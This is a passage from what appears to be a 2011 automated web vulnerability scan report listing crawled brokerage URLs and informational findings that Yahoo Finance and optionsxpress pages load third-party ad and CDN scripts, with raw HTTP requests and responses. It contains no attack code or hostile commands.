http://finance.yahoo.com/news/US-Steel-converts-vehicles-to-apf-2954052497.html
http://jqueryui.com/themeroller/
http://www.algoadvantage.com/
http://www.efutures.com/account/submitapp.php
http://www.facebook.com/connect/prompt_feed.php
http://www.facebook.com/dialog/feed
http://www.farrdirect.com/
http://www.farrdirect.com/hbooks.htm
http://www.futurestrading.com/
http://www.futurestrading.com/log-in.html
http://www.futurestrading.com/managed-accounts/what-are-managed-futures.html
http://www.futurestrading.com/managed-futures.html
http://www.globalfutures.com/index.asp
http://www.globalfutures.com/resources/forex-newsitem.asp
http://www.globalfutures.com/resources/futures-newsitem.asp
http://www.globalfutures.com/resources/newsitem.asp
http://www.globalfutures.com/resources/newsletter.asp
http://www.interactivebrokers.com/en/accounts/advisors/advisorsMain.php
http://www.interactivebrokers.com/en/accounts/advisors/employeeTrackMain.php
http://www.interactivebrokers.com/en/accounts/brokers/brokerMain.php
http://www.interactivebrokers.com/en/accounts/closingAccount.php
http://www.interactivebrokers.com/en/accounts/institutions/fundMain.php
http://www.interactivebrokers.com/en/accounts/institutions/institutionalMain.php
http://www.interactivebrokers.com/en/accounts/legalDocuments/brokerPerformanceReports.php
http://www.interactivebrokers.com/en/accounts/legalDocuments/custIdentificationNotice.php
http://www.interactivebrokers.com/en/accounts/legalDocuments/homepageDisclosures.php
http://www.interactivebrokers.com/en/accounts/legalDocuments/privacy.php
http://www.interactivebrokers.com/en/general/about/about.php
http://www.interactivebrokers.com/en/general/about/awards.php
http://www.interactivebrokers.com/en/general/about/commentLetters.php
http://www.interactivebrokers.com/en/general/about/exchange_memberships.php
http://www.interactivebrokers.com/en/general/about/financials.php
http://www.interactivebrokers.com/en/general/about/ratingSandP.php
http://www.interactivebrokers.com/en/general/alpineHelp.php
http://www.interactivebrokers.com/en/general/bingoHelp.php
http://www.interactivebrokers.com/en/general/contact/feedbackForm.php
http://www.interactivebrokers.com/en/general/education/OptPriceAgreement.php
http://www.interactivebrokers.com/en/general/education/UserGuides.php
http://www.interactivebrokers.com/en/general/education/comparebrokers.php
http://www.interactivebrokers.com/en/general/education/hdi_Add_Products_Market_Data.php
http://www.interactivebrokers.com/en/general/education/hdi_Deposit_Withdraw_Transfer.php
http://www.interactivebrokers.com/en/general/education/hdi_bonds.php
http://www.interactivebrokers.com/en/general/education/hdi_borrow_lend.php
http://www.interactivebrokers.com/en/general/education/hdi_check_my_BAP.php
http://www.interactivebrokers.com/en/general/education/hdi_port_margin.php
http://www.interactivebrokers.com/en/general/education/hdi_trade_at_IB.php
http://www.interactivebrokers.com/en/general/education/highlights.php
http://www.interactivebrokers.com/en/general/education/pdfnotes/WN-TWSEarningsEvents.php
http://www.interactivebrokers.com/en/general/education/webinars.php
http://www.interactivebrokers.com/en/general/education/why_ib.php
http://www.interactivebrokers.com/en/general/notifications/ibchanges.php
http://www.interactivebrokers.com/en/general/platinumHelp.php
http://www.interactivebrokers.com/en/general/poll/ibconsultants.php
http://www.interactivebrokers.com/en/general/poll/poll.php
http://www.interactivebrokers.com/en/general/whyib/PDF-Education.php
http://www.interactivebrokers.com/en/general/whyib/PDF-GlobalOfferings.php
http://www.interactivebrokers.com/en/general/whyib/PDF-RiskManagement.php
http://www.interactivebrokers.com/en/general/whyib/PDF-SuperiorTradingTechnology.php
http://www.interactivebrokers.com/en/ibglobal_sites.php
http://www.interactivebrokers.com/en/p.php
http://www.interactivebrokers.com/en/pagemap/pagemap_APISolutions.php
http://www.interactivebrokers.com/en/pagemap/pagemap_about.php
http://www.interactivebrokers.com/en/pagemap/pagemap_accounts.php
http://www.interactivebrokers.com/en/pagemap/pagemap_demo.php
http://www.interactivebrokers.com/en/pagemap/pagemap_education.php
http://www.interactivebrokers.com/en/pagemap/pagemap_exchanges_around_world.php
http://www.interactivebrokers.com/en/pagemap/pagemap_fees.php
http://www.interactivebrokers.com/en/pagemap/pagemap_hdi.php
http://www.interactivebrokers.com/en/pagemap/pagemap_helpcontacts.php
http://www.interactivebrokers.com/en/pagemap/pagemap_login.php
http://www.interactivebrokers.com/en/pagemap/pagemap_mobiletrading.php
http://www.interactivebrokers.com/en/pagemap/pagemap_newaccounts.php
http://www.interactivebrokers.com/en/pagemap/pagemap_statements.php
http://www.interactivebrokers.com/en/pagemap/pagemap_trading.php
http://www.interactivebrokers.com/en/pagemap/pagemap_trading_platforms.php
http://www.interactivebrokers.com/en/pagemap/pagemap_webinars.php
http://www.interactivebrokers.com/en/pagemap/pagemap_whyib.php
http://www.interactivebrokers.com/en/site_map.php
http://www.interactivebrokers.com/en/software/downloadPlugin.php
http://www.interactivebrokers.com/en/software/pdfhighlights/PDF-FxTrader.php
http://www.interactivebrokers.com/en/software/pdfhighlights/PDF-StatementsandReports.php
http://www.interactivebrokers.com/en/software/pdfhighlights/PDF-TechAnalytics.php
http://www.interactivebrokers.com/en/software/systemStatus.php
http://www.interactivebrokers.com/en/software/twsDisclaimer.php
http://www.interactivebrokers.com/en/software/twsPrevious.php
http://www.interactivebrokers.com/en/software/twsTutorial.php
http://www.interactivebrokers.com/en/trading/holidayAndExpirationCalendar.php
http://www.interactivebrokers.com/en/trading/pdfhighlights/PDF-Forex.php
http://www.interactivebrokers.com/en/trading/pdfhighlights/PDF-OptionsDesk.php
http://www.interactivebrokers.com/en/trading/productsupdates.php
http://www.interactivebrokers.com/futures/images/sitetemplate/printHeader.gif
http://www.interactivebrokers.com/html/help/contact.html
https://www.interactivebrokers.com/cstools/ib_app_help/
https://www.interactivebrokers.com/jsp/Registration_v3/showScreenPreReg.jsp
http://www.optioneducation.net/select/direct_login.asp
http://www.pfgbest.com/link/
http://www.pfgbest.com/toolkit/
http://www.transworldfutures.com/Commodity.html
http://www.transworldfutures.com/quotes.html
http://www.youtube.com/results

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

17.1. https://account.optionsxpress.com/OpenAccount/Index previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Index

Issue detail

The response dynamically includes the following script from another domain:

https://www.everestjs.net/static/st.js

Request

Response

17.2. http://finance.yahoo.com/news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/N3382.Yahoo/B5116950.8;abr=!ie;sz=150x30;pc=[TPAS_ID];click=http://global.ard.yahoo.com/SIG=15ut1mci2/M=601783366.602850899.828879551.828879551/D=fin/S=2142203363:NE3/Y=YAHOO/EXP=1315518412/L=llHubUPDkjlyLfaOTmkbkQN9Mhd7ak5pG6sACtX7/B=QKN3Q0oGYnk-/J=1315511212021167/K=Iy1k6vhUXXtI3a9d7mLGvA/A=3560010564270340046/R=2/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511212021167
http://ad.doubleclick.net/adj/N6067.160910.7443114402621/B5129127.15;abr=!ie;sz=150x30;dcopt=rcl;mtfIFPath=nofile;click=http://clicks.beap.ad.yieldmanager.net/c/YnY9MS4wLjAmYnM9KDE0bXRuZDBsdShnaWQkbGxIdWJVUERramx5TGZhT1Rta2JrUU45TWhkN2FrNXBHNnNBQ3RYNyxzdCQxMzE1NTExMjExOTA2MTY3LHNpJDQ0NTEwNTEsdiQxLjAsYWlkJGNKMm1BVVBEbjNrLSxjdCQyNSx5YngkanZtVF9KX2U1ZDZTTGxfRlJtSmZIUSxyJDEscmQkMTZpaDZlNzRpKSk/1/*http://global.ard.yahoo.com/SIG=15im70ft2/M=999999.999999.999999.999999/D=fin/S=2142203363:NE3/Y=YAHOO/EXP=1315518411/L=llHubUPDkjlyLfaOTmkbkQN9Mhd7ak5pG6sACtX7/B=cJ2mAUPDn3k-/J=1315511211961499/K=5VuDO3Wwg0zwFfuFcNCwjw/A=3740502269917550892/R=1/X=6/*;ord=1315511211.961499?
http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_backend.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_frontend.js&fi/common/p/d/static/js/2.0.188908/translations/2.0.0/mini/yfs_l10n_en-US.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_util.js
http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yahoo-dom-event/2.0.0/mini/yahoo-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/element/2.0.0/mini/element-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/get/2.0.0/mini/get.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/tabview/2.0.0/mini/tabview-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yuiloader-dom-event/2.0.0/mini/yuiloader-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/cookie/2.0.0/mini/cookie.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/connection/2.0.0/mini/connection.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/animation/2.0.0/mini/animation.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/imageloader/2.0.0/mini/imageloader-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container_core-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/json/2.0.0/mini/json-min.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/ylc_1.9.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ie9_pinning.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yui-min-3.2.0.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav_init.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_market_summary.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ysm_links.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_loader.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_init_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_common.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_sharetoolbar.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfi_cookie.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs.js
http://l.yimg.com/d/lib/media/phugc/mwphcom_min_2.5.9.js
http://l.yimg.com/us.js.yimg.com/lib/media/m/social_buttons/social-buttons-easy-min-4470.js
http://l.yimg.com/zz/combo?kx/ucs/common/js/1/setup-min.js&kx/ucs/sts/js/83/skip-min.js&kx/ucs/menu_utils/js/134/menu_utils-min.js&kx/ucs/username/js/33/user_menu-min.js&kx/ucs/help/js/35/help_menu-min.js&kx/ucs/utility_link/js/15/utility_menu-min.js&kx/ucs/common/js/127/logo_debug-min.js&kx/ucs/search/js/179/search-min.js

Request

GET /news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html HTTP/1.1
Host: finance.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:46:51 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Set-Cookie: MwPhCom_degraded_status=false; path=/
Vary: Accept-Encoding
Content-Type: text/html;charset=utf-8
Cache-Control: private
Age: 2
Connection: close
Server: YTS/1.20.7

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en-US">
<head>
<title>Pacer Adds LNG Trucks to Southern California Operations - Yahoo! Finan
...[SNIP]...
vA/A=3560010564270340046/R=1/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511212021167?" WIDTH=150 HEIGHT=30 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'><SCRIPT language='JavaScript1.1' src="http://ad.doubleclick.net/adj/N3382.Yahoo/B5116950.8;abr=!ie;sz=150x30;pc=[TPAS_ID];click=http://global.ard.yahoo.com/SIG=15ut1mci2/M=601783366.602850899.828879551.828879551/D=fin/S=2142203363:NE3/Y=YAHOO/EXP=1315518412/L=llHubUPDkjlyLfaOTmkbkQN9Mhd7ak5pG6sACtX7/B=QKN3Q0oGYnk-/J=1315511212021167/K=Iy1k6vhUXXtI3a9d7mLGvA/A=3560010564270340046/R=2/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511212021167"></SCRIPT>
...[SNIP]...
499/K=5VuDO3Wwg0zwFfuFcNCwjw/A=3740502269917550892/R=0/X=6/*;ord=1315511211.961499?" WIDTH=150 HEIGHT=30 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'><SCRIPT language='JavaScript1.1' SRC="http://ad.doubleclick.net/adj/N6067.160910.7443114402621/B5129127.15;abr=!ie;sz=150x30;dcopt=rcl;mtfIFPath=nofile;click=http://clicks.beap.ad.yieldmanager.net/c/YnY9MS4wLjAmYnM9KDE0bXRuZDBsdShnaWQkbGxIdWJVUERramx5TGZhT1Rta2JrUU45TWhkN2FrNXBHNnNBQ3RYNyxzdCQxMzE1NTExMjExOTA2MTY3LHNpJDQ0NTEwNTEsdiQxLjAsYWlkJGNKMm1BVVBEbjNrLSxjdCQyNSx5YngkanZtVF9KX2U1ZDZTTGxfRlJtSmZIUSxyJDEscmQkMTZpaDZlNzRpKSk/1/*http://global.ard.yahoo.com/SIG=15im70ft2/M=999999.999999.999999.999999/D=fin/S=2142203363:NE3/Y=YAHOO/EXP=1315518411/L=llHubUPDkjlyLfaOTmkbkQN9Mhd7ak5pG6sACtX7/B=cJ2mAUPDn3k-/J=1315511211961499/K=5VuDO3Wwg0zwFfuFcNCwjw/A=3740502269917550892/R=1/X=6/*;ord=1315511211.961499?"></SCRIPT>
...[SNIP]...
</script>

<script type="text/javascript" src="http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yahoo-dom-event/2.0.0/mini/yahoo-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/element/2.0.0/mini/element-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/get/2.0.0/mini/get.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/tabview/2.0.0/mini/tabview-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yuiloader-dom-event/2.0.0/mini/yuiloader-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/cookie/2.0.0/mini/cookie.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/connection/2.0.0/mini/connection.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/animation/2.0.0/mini/animation.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/imageloader/2.0.0/mini/imageloader-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container_core-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/json/2.0.0/mini/json-min.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/ylc_1.9.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ie9_pinning.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yui-min-3.2.0.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav_init.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_market_summary.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ysm_links.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_loader.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_init_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_common.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_sharetoolbar.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfi_cookie.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs.js"></script>
<script type="text/javascript" src="http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_backend.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_frontend.js&fi/common/p/d/static/js/2.0.188908/translations/2.0.0/mini/yfs_l10n_en-US.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_util.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://l.yimg.com/d/lib/media/phugc/mwphcom_min_2.5.9.js"></script>

<script type="text/javascript" src="http://l.yimg.com/us.js.yimg.com/lib/media/m/social_buttons/social-buttons-easy-min-4470.js"></script>

<script type="text/javascript" src="http://l.yimg.com/zz/combo?kx/ucs/common/js/1/setup-min.js&kx/ucs/sts/js/83/skip-min.js&kx/ucs/menu_utils/js/134/menu_utils-min.js&kx/ucs/username/js/33/user_menu-min.js&kx/ucs/help/js/35/help_menu-min.js&kx/ucs/utility_link/js/15/utility_menu-min.js&kx/ucs/common/js/127/logo_debug-min.js&kx/ucs/search/js/179/search-min.js"></script>
...[SNIP]...

17.3. http://finance.yahoo.com/news/Piedmont-Natural-Gas-prnews-2212692382.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/news/Piedmont-Natural-Gas-prnews-2212692382.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad.doubleclick.net/adj/N3382.Yahoo/B5116950.8;abr=!ie;sz=150x30;pc=[TPAS_ID];click=http://global.ard.yahoo.com/SIG=15uq5cbp1/M=601783366.602850899.828879551.828879551/D=fin/S=2142204593:NE3/Y=YAHOO/EXP=1315518412/L=hQiKN0PDkjlyLfaOTmkbkQO5Mhd7ak5pG6wACMAU/B=dVbEQNj8els-/J=1315511212776789/K=Iy1k6vhUXXtI3a9d7mLGvA/A=3560010564270340046/R=2/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511212776789
http://ad.doubleclick.net/adj/N6067.160910.7443114402621/B5129127.15;abr=!ie;sz=150x30;dcopt=rcl;mtfIFPath=nofile;click=http://clicks.beap.ad.yieldmanager.net/c/YnY9MS4wLjAmYnM9KDE0bTY5Y2k1dihnaWQkaFFpS04wUERramx5TGZhT1Rta2JrUU81TWhkN2FrNXBHNndBQ01BVSxzdCQxMzE1NTExMjEyNjY4ODAzLHNpJDQ0NTEwNTEsdiQxLjAsYWlkJEhEeWYxMFBEbUxBLSxjdCQyNSx5YngkV2ZKclMxOUhBVjRUb2pTclltWXZ0QSxyJDEscmQkMTZpOWdvNmF0KSk/1/*http://global.ard.yahoo.com/SIG=15imetvjj/M=999999.999999.999999.999999/D=fin/S=2142204593:NE3/Y=YAHOO/EXP=1315518412/L=hQiKN0PDkjlyLfaOTmkbkQO5Mhd7ak5pG6wACMAU/B=HDyf10PDmLA-/J=1315511212758943/K=Iy1k6vhUXXtI3a9d7mLGvA/A=3740502269917550892/R=1/X=6/*;ord=1315511212.758943?
http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfi_cookie.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_backend.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_frontend.js&fi/common/p/d/static/js/2.0.188908/translations/2.0.0/mini/yfs_l10n_en-US.js&fi/common/p/d/static/js/2.0.188908/streaming/2.0.0/mini/yfs_util.js
http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yahoo-dom-event/2.0.0/mini/yahoo-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/element/2.0.0/mini/element-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/get/2.0.0/mini/get.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/tabview/2.0.0/mini/tabview-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yuiloader-dom-event/2.0.0/mini/yuiloader-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/cookie/2.0.0/mini/cookie.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/connection/2.0.0/mini/connection.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/animation/2.0.0/mini/animation.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/imageloader/2.0.0/mini/imageloader-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container_core-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/json/2.0.0/mini/json-min.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/ylc_1.9.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ie9_pinning.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yui-min-3.2.0.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav_init.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/content-aware-layout-resize.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_market_summary.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ysm_links.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_loader.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_init_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_common.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_sharetoolbar.js
http://l.yimg.com/d/lib/media/phugc/mwphcom_min_2.5.9.js
http://l.yimg.com/us.js.yimg.com/lib/media/m/social_buttons/social-buttons-easy-min-4470.js
http://l.yimg.com/zz/combo?kx/ucs/common/js/1/setup-min.js&kx/ucs/sts/js/83/skip-min.js&kx/ucs/menu_utils/js/134/menu_utils-min.js&kx/ucs/username/js/33/user_menu-min.js&kx/ucs/help/js/35/help_menu-min.js&kx/ucs/utility_link/js/15/utility_menu-min.js&kx/ucs/common/js/127/logo_debug-min.js&kx/ucs/search/js/179/search-min.js

Request

GET /news/Piedmont-Natural-Gas-prnews-2212692382.html HTTP/1.1
Host: finance.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:46:52 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Set-Cookie: MwPhCom_degraded_status=false; path=/
Vary: Accept-Encoding
Content-Type: text/html;charset=utf-8
Cache-Control: private
Age: 0
Connection: close
Server: YTS/1.20.7

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en-US">
<head>
<title>Piedmont Natural Gas Announces 3rd Quarter 2011 Earnings Conference Ca
...[SNIP]...
943/K=Iy1k6vhUXXtI3a9d7mLGvA/A=3740502269917550892/R=0/X=6/*;ord=1315511212.758943?" WIDTH=150 HEIGHT=30 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'><SCRIPT language='JavaScript1.1' SRC="http://ad.doubleclick.net/adj/N6067.160910.7443114402621/B5129127.15;abr=!ie;sz=150x30;dcopt=rcl;mtfIFPath=nofile;click=http://clicks.beap.ad.yieldmanager.net/c/YnY9MS4wLjAmYnM9KDE0bTY5Y2k1dihnaWQkaFFpS04wUERramx5TGZhT1Rta2JrUU81TWhkN2FrNXBHNndBQ01BVSxzdCQxMzE1NTExMjEyNjY4ODAzLHNpJDQ0NTEwNTEsdiQxLjAsYWlkJEhEeWYxMFBEbUxBLSxjdCQyNSx5YngkV2ZKclMxOUhBVjRUb2pTclltWXZ0QSxyJDEscmQkMTZpOWdvNmF0KSk/1/*http://global.ard.yahoo.com/SIG=15imetvjj/M=999999.999999.999999.999999/D=fin/S=2142204593:NE3/Y=YAHOO/EXP=1315518412/L=hQiKN0PDkjlyLfaOTmkbkQO5Mhd7ak5pG6wACMAU/B=HDyf10PDmLA-/J=1315511212758943/K=Iy1k6vhUXXtI3a9d7mLGvA/A=3740502269917550892/R=1/X=6/*;ord=1315511212.758943?"></SCRIPT>
...[SNIP]...
vA/A=3560010564270340046/R=1/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511212776789?" WIDTH=150 HEIGHT=30 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'><SCRIPT language='JavaScript1.1' src="http://ad.doubleclick.net/adj/N3382.Yahoo/B5116950.8;abr=!ie;sz=150x30;pc=[TPAS_ID];click=http://global.ard.yahoo.com/SIG=15uq5cbp1/M=601783366.602850899.828879551.828879551/D=fin/S=2142204593:NE3/Y=YAHOO/EXP=1315518412/L=hQiKN0PDkjlyLfaOTmkbkQO5Mhd7ak5pG6wACMAU/B=dVbEQNj8els-/J=1315511212776789/K=Iy1k6vhUXXtI3a9d7mLGvA/A=3560010564270340046/R=2/X=3/*;dcopt=rcl;mtfIFPath=nofile;ord=1315511212776789"></SCRIPT>
...[SNIP]...
</script>

<script type="text/javascript" src="http://l.yimg.com/bm/combo?fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yahoo-dom-event/2.0.0/mini/yahoo-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/element/2.0.0/mini/element-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/get/2.0.0/mini/get.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/tabview/2.0.0/mini/tabview-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/yuiloader-dom-event/2.0.0/mini/yuiloader-dom-event.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/cookie/2.0.0/mini/cookie.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/connection/2.0.0/mini/connection.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/animation/2.0.0/mini/animation.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/imageloader/2.0.0/mini/imageloader-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/container/2.0.0/mini/container_core-min.js&fi/common/p/d/static/js/2.0.188908/yui_2.8.0/build/json/2.0.0/mini/json-min.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/ylc_1.9.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ie9_pinning.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yui-min-3.2.0.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_nav_topnav_init.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/content-aware-layout-resize.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_market_summary.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_ysm_links.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_symbol_suggest.js&fi/common/p/d/static/js/2.0.188908/2.0.0/mini/yfi_loader.js&fi/common/p/d/static/j